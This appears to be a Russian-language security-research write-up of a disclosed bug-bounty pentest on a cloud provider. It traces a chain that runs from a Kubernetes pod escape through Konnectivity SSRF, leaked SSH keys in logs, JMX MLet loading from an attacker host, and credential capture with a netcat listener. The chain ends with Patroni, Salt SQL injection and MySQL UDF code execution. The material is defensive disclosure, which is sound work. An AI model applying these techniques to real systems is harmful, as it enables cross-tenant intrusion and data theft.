SAS

Небезопасный сосед: как цепочка уязвимостей привела к обходу изоляции в облачной инфраструктуре

Эта статья опубликована исключительно в образовательных целях для повышения осведомленности специалистов по информационной безопасности. Исследование проводилось в рамках официальной программы багбаунти на одной из крупных площадок. Провайдер облачного ресурса был уведомлен об уязвимостях в соответствии с политикой ответственного разглашения, а все выявленные недостатки безопасности были полностью устранены. Инфраструктура, анализируемая в материале, анонимизирована, что делает невозможным определение конкретной организации. Мы уверены, что регулярные пентесты, программы багбаунти, диалог разработчиков и независимых исследователей являются основой безопасности любого ИТ-продукта.

Введение

Многие специалисты считают, что компрометация облачных данных в большинстве случаев происходит по вине клиентов: из-за неправильно настроенных хранилищ или, например, открытых портов. Однако наше тестирование на проникновение крупного облачного провайдера показало, что критические угрозы могут исходить из самой инфраструктуры провайдера.

Данный разбор основан на реальном кейсе, который получил второе место в номинации «Системный взлом» (Web & Logic) на премии Russian Pentest Award 2026. В материале рассматривается последовательная эксплуатация ряда уязвимостей и логических ошибок. В совокупности они привели к критическим бизнес-последствиям и полному обходу изоляции между клиентами внутри облака. 22 октября 2026 года я также представил технический разбор этого кейса на конференции Security Analyst Summit (SAS 2026) в докладе Smash the Tenant Boundary.

1. Получение первоначального доступа через управляемый Kubernetes

Пентест облачной инфраструктуры проводился в рамках исследования модели угроз внешнего злоумышленника с правами рядового клиента. Конечной целью атаки являлся полный захват контроля над облаком.

1.1. Выход за пределы воркер-узла

На первом этапе был создан ресурс в управляемом кластере Kubernetes v1.25.16+k0s.0 облака. Как правило, провайдер намеренно не предоставляет клиентам SSH-доступ на воркер-узлы: пользователи платят не за администрирование серверов. Однако в данном случае политики безопасности кластера не запрещали создание привилегированных подов (pod) с доступом к хостовым пространствам имен. Это позволило развернуть такой под и сменить контекст исполнения на хостовую машину, где запущен контейнер.

После создания привилегированного пода внутри контейнера выполнялась команда nsenter, которая и обеспечила перенос контекста исполнения на хостовую машину:

Вслед за выполнением этой команды оболочка bash запускалась уже на реальной хостовой машине, а не внутри контейнера. И поскольку под был привилегированным, мы получили полный root-доступ к хостовой машине.

Конфигурация kubelet и адрес API сервера

Конфигурация kubelet и адрес API сервера

Затем был проведен анализ ее файловой системы. В процессе исследования data plane был обнаружен токен сервиса Konnectivity. Этот компонент обеспечивает туннельное соединение между control plane и data plane кластера Kubernetes. Он-то и открыл интересные возможности для развития атаки.

Токен сервисной учетной записи Konnectivity

Токен сервисной учетной записи Konnectivity

1.2. Анализ сервисов на control plane

Получив доступ к хостовой машине (она же — упомянутый воркер-узел), мы проанализировали ее сетевые интерфейсы (пользовательский VPC и интерфейсы Calico). Из конфигурационного файла kubelet был извлечен адрес kube-apiserver (192.168.0.4). Последующее сканирование этого адреса выявило следующие открытые порты:

Наибольший интерес представляет порт 8132, на котором работает сервис Konnectivity. Данный сервис создает обратный туннель между control plane и data plane (чтобы была видимость из control plane в data plane) и позволяет управляющим компонентам взаимодействовать с воркер-узлами даже за NAT. Ранее обнаруженный токен konnectivity предоставлял право на взаимодействие с этим сервисом.

Схема взаимодействия control plane и data plane через Konnectivity

1.3. Эксплуатация Konnectivity

Для анализа сервиса на порту 8132 мы развернули локальный стенд. Выяснилось, что в версии v1.25.16+k0s.0 используется форк konnectivity-server, унаследованный от apiserver-network-proxy оригинального Kubernetes.

Небольшой экскурс в k0s: это минималистичный дистрибутив Kubernetes, предназначенный для облачных провайдеров, на его базе удобно разворачивать управляемые кластеры (Managed k8s) с минимальными затратами ресурсов. Важной особенностью k0s является то, что по умолчанию на управляющих узлах (master nodes) запрещен запуск пользовательских подов, что соответствует требованиям к безопасности mk8s в части изоляции плоскости управления.

На упомянутом выше порту 8132 находится сервис AgentService, который предоставляет единственный метод Connect. Этот же метод принимает поток пакетов Packet.

В коде обнаружилась занятная деталь: при получении сервисом AgentService от воркер-узла пакета типа DIAL_REQ сервер выполняет функцию net.Dial() на стороне control plane. Структура пакетов для метода Connect выглядит так:

Сервер читает любые пакеты Packet из стрима, который инициировал агент (воркер-узел):

Далее пакеты Packet попадают в диспетчер бэкенда :

Затем происходит самое интересное:

То есть DIAL_REQ, пришедший от агента (воркер-узла), считается валидным и передается в обработчик пакетов соответствующего типа (DIAL_REQ).

Это создало примитив SSRF в контексте control plane, дающий возможность обращаться не только к сетевым ресурсам, но и к UNIX-сокетам хоста. Перспективным кандидатом для взаимодействия был выбран D-Bus (- /run/dbus/system_bus_socket). С помощью утилиты busctl на control plane были обнаружены следующие доступные сервисы:

Через метод org.freedesktop.DBus.GetConnectionCredentials (написав свой клиент для D-Bus-клиента на базе github.com/godbus/dbus/v5) удалось получить UID текущего процесса. В данном случае это был 997. Увы, не root — а значит, моментально запустить системный сервис в systemd не получится. Однако все еще можно создать пользовательский (system —user) сервис. Для этого сперва нужно включить linger для нашего UID:

После этого открылись следующие сокеты:

Через новый сокет обращаемся к методу StartTransientUnit сервиса org.freedesktop.systemd1.Manager:

В параметре properties как раз и передаются стандартные директивы описания systemd сервисов. Прописываем туда следующую строку:

В результате мы успешно получаем обратный вызов (callback) с control plane.

Контекст konnectivity-server и сетевые интерфейсы узла

Контекст konnectivity-server и сетевые интерфейсы узла

Разработчики проекта k0s, компания Mirantis, подтвердили наличие уязвимости.

1.4. Повышение привилегий на хосте

Поскольку по умолчанию компонент konnectivity-server работает с ограниченными привилегиями, после получения RCE на control plane была проведена их эскалация. Анализ процессов на мастер-ноде выявил запущенный salt-minion. Наличие root-прав позволяет аутентифицироваться в salt-minion от имени данного миньона и развивать вектор атаки уже на него (но это позднее).

В моем кейсе целевой хост функционировал на базе дистрибутива Ubuntu 22.04 с версией ядра 5.15.x. Поскольку пользовательские пространства имен (user namespaces) были включены, актуальным способом повышения привилегий стал известный баг в OverlayFS, позволяющий сохранить привилегии ap_setuid+eip для файла после манипуляций с неймспейсами.

Для эксплуатации уязвимости была создана копия интерпретатора python3 с установленной capability на setuid, что позволило получить root-права.

Подтверждение выполнения команд с правами root

Подтверждение выполнения команд с правами root

После получения root-прав открылось несколько интересных векторов:

  1. На хосте был обнаружен интерфейс eth2 в подсети 100.64.0.0/10. Как оказалось, overlay-сеть облака плоская, что позволяет видеть абсолютно все managed-сервисы.
  2. В системе хранилась пара ключей salt-minion. Это значительно расширяет поверхность атаки, открывая доступ к control plane самого управляемого облака через SaltStack.

2. Приключения в overlay

2.1. Victoria stack

Изучение сетевой активности внутри управляемого ресурса сразу принесло интересные результаты. Анализ трафика показал, что с определенного IP-адреса приходили запросы на сбор метрик узла (обращения к нашему экземпляру kube-state-metrics в mk8s). Как выяснилось, за этим IP-адресом скрывался коллектор метрик — один из экземпляров VictoriaMetrics, обслуживающий множество различных управляемых ресурсов. По аналогии с Prometheus, API VictoriaMetrics раскрывает список источников, с которых собираются метрики.

Обратившись к конечной точке http://100.64.13.37:8429/api/v1/targets, мы обнаружили, что метки каждого источника содержат ценные метаданные:

Этот факт стоит зафиксировать: через VictoriaMetrics можно в один запрос получить на руки полный список хостов control plane, принадлежащих другим пользователям облака. Порт 6897 указывает на работу экспортера kube-state-metrics, а поле profile: kubernetes дополнительно подтверждает тип таргета по этому адресу.

В этой же сети обнаружился еще один хост из экосистемы Victoria — VictoriaLogs. Веб-интерфейс этого сервиса на порту 9428 также имеет API-конечные точки, позволяющие извлекать чувствительные данные. Например, конечная точка /select/logsql/query давала возможность несанкционированно читать абсолютно все логи любых управляемых ресурсов в облаке.

При анализе логов control plane для Managed k8s обнаружилась критическая деталь: в скриптах cloud-init по умолчанию генерировались приватные SSH-ключи для учетной записи root. Данные ключи выводились в stdout и автоматически сохранялись в общих журналах системы.

Сопоставление некоторых значений лейблов из VictoriaMetrics помогли восстановить исходные имена целевого хоста. Это упрощает фильтрацию данных в VictoriaLogs и позволяет однозначно связать скомпрометированный приватный ключ и с целевым узлом, в котором этот ключ можно применить.

Приватный SSH-ключ в записи VictoriaLogs

Приватный SSH-ключ в записи VictoriaLogs

Используя скомпрометированный приватный ключ привилегированной учетной записи, мы могли подключиться по SSH к целевым узлам и получить полный контроль над чужими кластерами.

Права процесса на хосте и доступные действия в Kubernetes

Права процесса на хосте и доступные действия в Kubernetes

Вероятно, в логах сервисов другого типа можно обнаружить и иные чувствительные данные для дальнейшего увеличения импакта.

2.2. Компрометация управляемых экземпляров Kafka

Была исследована возможность развертывания управляемых ресурсов Apache Kafka. Как и предполагалось, эти экземпляры также удалось обнаружить в плоской overlay-сети. Так, на одном из хостов с Kafka был открыт порт 9999, который оказался не чем иным, как JMX Registry.

Обнаруженный сервис Java RMI на порту 9999

Обнаруженный сервис Java RMI на порту 9999

Механизм JMX Registry уязвим по своей специфике: он возвращает вызывающему клиенту RMI stub-host, что позволяет удаленно загрузить собственный произвольный MBean-класс и выполнить произвольный код. Запустив сканирование с помощью утилиты nmap -sC на registry-порту, мы определили точный порт службы RMI, с которым далее будем взаимодействовать. Для реализации атаки был подготовлен набор Java-скриптов со следующей структурой:

  • JmxCreateMBean.java — отвечает за подключение к JMX Registry и создание MBean-компонента javax.management.loading.MLet (класс, позволяющий подгружать классы по указанному URL)
  • JmxInvoke.java — вызывает выбранный метод MBean через JMX Registry
  • ExecMBean.java и Exec.java — кастомный легковесный тестовый MBean-компонент с методом run(String cmd), реализующий интерфейс удаленного выполнения команд

Фрагмент кода, отвечающий за подключение и инициализацию MBean-компонента, выглядит следующим образом:

Ниже представлена реализация вредоносного класса Exec.java, предоставляющего методы для выполнения shell-команд, а также чтения и записи файлов через Base64:

Скомпилировав собственный MBean, мы размещаем собранный .jar-файл на удаленном веб-сервере и подготавливаем конфигурационный файл mlet.html для его последующей загрузки целевым сервером.

И далее воспроизводим следующую цепочку действий:

  1. Создание стандартного загрузчика MLet внутри JVM Kafka.
  2. Загрузка вредоносного MBean на целевой сервер путем вызова метода getMBeansFromURL у стандартного MLet-компонента (DefaultDomain:type=MLet). В качестве аргумента передается URL-адрес подготовленного файла: http://attacker_ip:8000/mlet.html.
  3. Вызов метода run(String cmd) у загруженного MBean для RCE на хосте.
Контекст процесса Kafka и сетевые интерфейсы узла

Контекст процесса Kafka и сетевые интерфейсы узла

Данный вектор стал возможен из-за того, что RMI stub-host, который по стандартам безопасности должен быть привязан только к интерфейсу loopback (127.0.0.1), был ошибочно выставлен в общую overlay-сеть облака.

2.3. Утечка учетных данных через redis exporter

Следующим этапом стал анализ хостов с управляемыми экземплярами Redis. На каждом из них рядом с основным портом 6379 был развернут сервис redis exporter (порт 9121). Анализ его исходного кода выявил логическую уязвимость в обработке параметра target:

По сути, обработчик /scrape принимает произвольный параметр target и пытается собрать с него метрики, используя те же учетные данные, с которыми экспортер подключается к своему основному экземпляру Redis. Если направить запрос redis exporter на свой хост (например, с запущенным nc -nvlp 6379), появляется возможность перехватить следующие учетные данные:

Команда AUTH в перехваченном обращении к Redis

Команда AUTH в перехваченном обращении к Redis

Полученные креды позволили подключаться к экземплярам Redis других клиентов и выполнять операции чтения, модификации и удаления хранимых данных.

Диагностическая информация экземпляра Valkey

Диагностическая информация экземпляра Valkey

(Примечание. В период проведения исследования была опубликована уязвимость, приводящая к RCE в Redis, что в сочетании с полученным доступом позволяло полностью скомпрометировать сервисы других пользователей.)

2.4. Компрометация управляемых кластеров PostgreSQL (Patroni)

Наряду с managed-кластерами Kubernetes, СУБД PostgreSQL является одним из наиболее востребованных управляемых ресурсов. Поэтому следующим этапом в overlay-сети стал анализ хостов PostgreSQL. При сканировании узлов с открытым портом PostgreSQL (5432) были обнаружены смежные службы на портах 2379 (распределенное хранилище etcd) и 8008 (Patroni REST API). Если REST API Patroni требовал аутентификации, то доступ к etcd оказался полностью открытым. В ходе анализа содержимого etcd был выявлен критический ключ /v2/keys/service/pg-cluster/config, который содержал конфигурацию Patroni.

Конфигурация Patroni в etcd

Конфигурация Patroni в etcd



Возможность записи в данный конфигурационный файл позволяет изменить параметр archive_command на удобную для атакующего команду для получения RCE на целевом хосте при запуске процесса архивации. Чтобы не ждать естественного заполнения WAL, был найден способ принудительного запуска архивации даже с минимальным уровнем доступа:

  1. Обновляем конфигурации Patroni с измененным archive_command:
  2. Повторно обновляем конфигурацию, добавляя параметр standby_cluster:

После применения этого параметра Patroni определяет конфликт ролей для текущего мастера. В логах появляется подобная процедура:

Вслед за этим запускается перезапуск Postgres, а также процедура архивации и выполнения внедренной команды:

Контекст процесса PostgreSQL и сетевые интерфейсы узла

Контекст процесса PostgreSQL и сетевые интерфейсы узла

Таким образом возможно заходить на чужие СУБД Postgres и получать полный контроль над данными. В качестве дополнительного фактора риска на этих хостах были обнаружены файлы с учетными данными для доступа к S3-хранилищу.

 Параметры доступа к базе данных и S3 в файле резервного копирования

Параметры доступа к базе данных и S3 в файле резервного копирования

Это хранилище содержит резервные копии не только текущего экземпляра, но и всех остальных баз данных в облаке.

 Параметры доступа к базе данных и S3 в файле резервного копирования

Параметры доступа к базе данных и S3 в файле резервного копирования

3. Атака на управляющую инфраструктуру SaltStack

После получения root-доступа к узлу control plane наше внимание было переключено на службу конфигурационного управления SaltStack.

3.1. Анализ salt fs

Первым шагом стала полная выгрузка файловой системы Salt Master для последующего статического анализа:

Фрагмент списка файлов Salt Master

Фрагмент списка файлов Salt Master

Файлов оказалось очень много.

Поскольку используемая версия Salt была актуальной, известные CVE не применялись. Однако среди файлов на salt-master был обнаружен пользовательский скрипт (_pillar/somebase.py) с критической уязвимостью, написанный вендором для обслуживания миньонов с сервисом somebase. Уязвимость заключается в небезопасном формировании SQL-запроса через метод query.format():

Так как salt-миньон может инициировать обновление pillar и передавать на salt-master произвольные метаданные (grains), атакующий имеет возможность передавать внедрение SQL-кода через параметр some_id внутри grains. При обработке запроса расширением на стороне salt-master сгенерированный SQL-запрос выполняется в базе данных prod-cloud. В результате уязвимость позволяет проводить SQL-инъекцию на основе ошибок.

Ошибка базы данных при обработке pillar

Ошибка базы данных при обработке pillar

3.2. Эксплуатация SQLi

Через эту уязвимость был получен доступ в разные схемы базы, наиболее интересной из которых была cloudsmth, содержавшая около 50 таблиц с метаданными обо всех управляемых ресурсах и VDS.

Фрагмент списка таблиц схемы cloudsmth

Фрагмент списка таблиц схемы cloudsmth

Примечательней оказалась таблица salt-masters с токенами аутентификации всех salt-masters.

Записи с токенами аутентификации Salt Master

Записи с токенами аутентификации Salt Master

Наличие этих токенов позволило обращаться к REST API Salt Master и выполнять произвольные команды на всех подконтрольных узлах (minions) облака:

По согласованию с вендором дальнейшее развитие атаки было остановлено, но в целом получение доступа к salt-masters и базе данных prod-cloud позволяло в один шаг осуществить полноценный захват всех ресурсов (включая VDS, S3 и другие сервисы).

4. Другие способы атаки на облако

Хотелось бы упомянуть иные способы попадания в overlay-сеть, поскольку среди них тоже встречались интересные кейсы.

4.1. Эксплуатация уязвимости в Managed Valkey

В ходе исследования развернутых экземпляров Valkey в облачной инфраструктуре было установлено, что используемая версия ПО уязвима к CVE-2026-25243. На момент анализа публичные концепты (PoC) или эксплойты для данной уязвимости отсутствовали. Для изучения механизмов проявления уязвимости были проанализированы диагностические данные, полученные с помощью команды INFO:

Идентификатор redis_build_id позволил точно определить используемый бинарный файл, который совпал с официальным билдом для Ubuntu Noble x86_64.

Суть уязвимости CVE-2026-25243 заключается в некорректной обработке сериализованных объектов RDB оператором RESTORE. При использовании устаревшей кодировки hash-zipmap валидатор принимает 5-байтовое представление длины для короткого ключа, однако последующий парсер интерпретирует внутренние байты ключа как кодировку длины значения. Это несоответствие приводит к возможности выхода за пределы буфера и перезаписи смежных чанков в куче (Heap Overflow), что потенциально позволяет добиться произвольной записи в память (Arbitrary Write). После успешной записи в смежные участки памяти (Arbitrary Write) возникло препятствие в виде строгих правил systemd sandbox:

Данные параметры запрещают исполнение стандартных оболочек (например, /bin/sh). Тем не менее конфигурация монтирования каталога /tmp позволяла осуществлять запись. Модификация логики процесса позволила инициировать загрузку и выполнение стороннего компонента из /tmp, который не подпадал под действие правила noexec. После получения стабильного канала связи в файл /var/lib/valkey/.ssh/authorized_keys был добавлен SSH-ключ. Это обеспечило независимый доступ к хосту и возможность дальнейшей эскалации привилегий стандартными методами (LPE).

Контекст процесса Valkey и параметры Salt grains

Контекст процесса Valkey и параметры Salt grains

В данном случае сработала уязвимость GRO Frag, однако новые LPE выходят каждую неделю, поэтому вариантов для повышения прав и продолжения атаки на Salt Master может быть много.

4.2. MySQL

При создании ресурса у пользователя базы данных MySQL не было root-прав.

Однако логика приложения позволяла этому пользователю удалять и пересоздавать таблицу с динамическими привилегиями:

После перезагрузки базы и создания нового пользователя он автоматически получал полные права администратора. Добавляем ему еще привилегий:

В базе привилегии повысили, теперь нужно сделать RCE. Далее была скомпилирована пользовательская UDF-библиотека для выполнения системных команд.

Для получения RCE была проведена CRLF-инъекция в конфигурационный файл через API облачного провайдера:

Данный вектор позволил внедрить переводы строк и переопределить критические параметры конфигурации:

Используя полученные права на запись, вредоносная UDF-библиотека (Shared Object) была загружена в целевую директорию с помощью SQL-оператора:

Перезагружаем базу MySQL для применения измененной конфигурации, чтобы записанная конфигурация применилась и зарегистрированный плагин инициализировался:

Результат выполнения id через MySQL UDF

Результат выполнения id через MySQL UDF

Для повышения привилегий до уровня root (LPE) был проанализирован список активных служб. Выяснилось, что служба mysql-watcher.service выполняется с правами администратора и периодически запускает python-скрипт для доступа к MySQL через системный клиент. Для эксплуатации этого процесса был скомпилирован еще один плагин:

Путь к директории с вредоносной библиотекой (файл .so, параметр plugin_dir) и имя плагина аутентификации default-auth=plugname внедряются в секцию [client] конфигурационного файла /etc/mysql/my.cnf. При следующем запуске MySQL-клиента, инициируемом фоновой службой mysql-watcher.service от имени root, на хосте с сервером исполняется описанный выше плагин. Это приводит к выполнению системной команды и созданию копии интерпретатора Bash с установленным битом SUID (/tmp/rbash), что завершает цепочку полной компрометации хоста.

5. Заключение

Инфраструктура облачного провайдера базировалась на собственных разработках, а не на типовых опенсорс-решениях, что сформировало нетривиальную поверхность атаки. В рамках исследования были выявлены и другие уязвимости, которые не вошли в отчет ввиду их стандартного характера. По результатам работы вендору были предоставлены рекомендации, направленные на повышение уровня безопасности. В том числе были описаны меры по изоляции управляемых сервисов по устранению сетевой видимости между ними, применению строгих AppArmor-политик для изоляции процессов сервисов, а также внедрению в практики мониторинга использования потенциально уязвимых сервисов.

Небезопасный сосед: как цепочка уязвимостей привела к обходу изоляции в облачной инфраструктуре

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Отчеты

Благотворительность как приманка: Armored Likho расширяет арсенал инструментов для кибершпионажа

Эксперты «Лаборатории Касперского» разбирают новую кампанию Armored Likho, маскирующуюся под благотворительность и доставляющую новый Still Toolkit, нацеленный на кражу данных из Telegram и прослушку.

ToddyCat — ваш скрытый почтовый ассистент. Часть 2

Разбираем Umbrij — новый инструмент APT-группы ToddyCat для компрометации корпоративной переписки в сервисе Gmail. Целью атак стал токен авторизации OAuth, при помощи которого злоумышленники получали доступ к сервисам Google.

Подпишитесь на еженедельную рассылку

Самая актуальная аналитика – в вашем почтовом ящике